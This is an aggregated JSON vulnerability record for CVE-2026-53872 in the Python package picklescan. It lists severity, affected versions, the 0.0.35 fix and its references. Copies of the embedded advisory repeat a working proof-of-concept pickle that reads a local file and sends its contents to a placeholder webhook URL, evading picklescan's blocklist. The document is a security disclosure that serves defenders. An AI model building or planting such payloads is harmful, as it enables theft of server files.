{"id":"CVE-2026-53872","aliases":["EUVD-2026-37738","GHSA-5v23-73v4-w2fp","GHSA-9726-w42j-3qjr","PYSEC-2026-1787"],"status":"published","title":"picklescan - Arbitrary File Read via Unsafe Pickle Deserialization","description":"picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00509,"percentile":0.43723,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-918"],"published":"2026-01-08T17:25:35Z","modified":"2026-11-08T14:05:10Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.35"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.35"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.35"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.35"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53872","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5v23-73v4-w2fp"},{"url":"https://github.com/mmaitre314/picklescan/pull/55","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9726-w42j-3qjr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53872.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]},{"url":"https://pypi.org/project/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-53872","title":"picklescan - Arbitrary File Read via Unsafe Pickle Deserialization","description":"picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","status":"published","published":"2026-06-17T15:05:02.203Z","modified":"2026-11-08T14:05:10.272Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-37738","description":"picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","status":"published","published":"2026-06-17T15:05:02Z","modified":"2026-11-08T14:05:10Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T15:13:08.252361Z"}],"ghsa":[{"id":"GHSA-5v23-73v4-w2fp","title":"Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO` ","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","status":"withdrawn","published":"2026-06-17T18:35:57Z","modified":"2026-06-18T14:46:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:29.43528Z"},{"id":"GHSA-9726-w42j-3qjr","title":"picklescan has Arbitrary file read using `io.FileIO` ","description":"### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n    def __reduce__(self):\n        return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n    def __reduce__(self):\n        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n    pickle.dump(Exfiltrate(), f)\n```\n\n\u003cimg width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" /\u003e\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.","status":"published","published":"2026-01-08T17:25:35Z","modified":"2026-06-18T14:46:27Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T14:40:29.43528Z"}],"nvd":[{"id":"CVE-2026-53872","description":"picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","status":"published","published":"2026-06-17T17:17:25.473Z","modified":"2026-06-17T20:21:59.863Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:24.544761Z"}],"osv":[{"id":"CVE-2026-53872","title":"picklescan - Arbitrary File Read via Unsafe Pickle Deserialization","description":"picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","status":"published","published":"2026-06-17T15:05:02.203Z","modified":"2026-11-09T02:30:50.826100892Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-5v23-73v4-w2fp","title":"Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO` ","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.","status":"withdrawn","published":"2026-06-17T18:35:57Z","modified":"2026-06-18T15:00:17.001354972Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"GHSA-9726-w42j-3qjr","title":"picklescan has Arbitrary file read using `io.FileIO` ","description":"### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n    def __reduce__(self):\n        return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n    def __reduce__(self):\n        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n    pickle.dump(Exfiltrate(), f)\n```\n\n\u003cimg width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" /\u003e\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.","status":"published","published":"2026-01-08T17:25:35Z","modified":"2026-07-07T17:56:10.383893537Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"PYSEC-2026-1787","title":"picklescan has Arbitrary file read using `io.FileIO` ","description":"### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n    def __reduce__(self):\n        return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n    def __reduce__(self):\n        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n    pickle.dump(Exfiltrate(), f)\n```\n\n\u003cimg width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" /\u003e\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.","status":"published","published":"2026-07-07T16:03:16.995927Z","modified":"2026-07-07T17:48:02.305027518Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}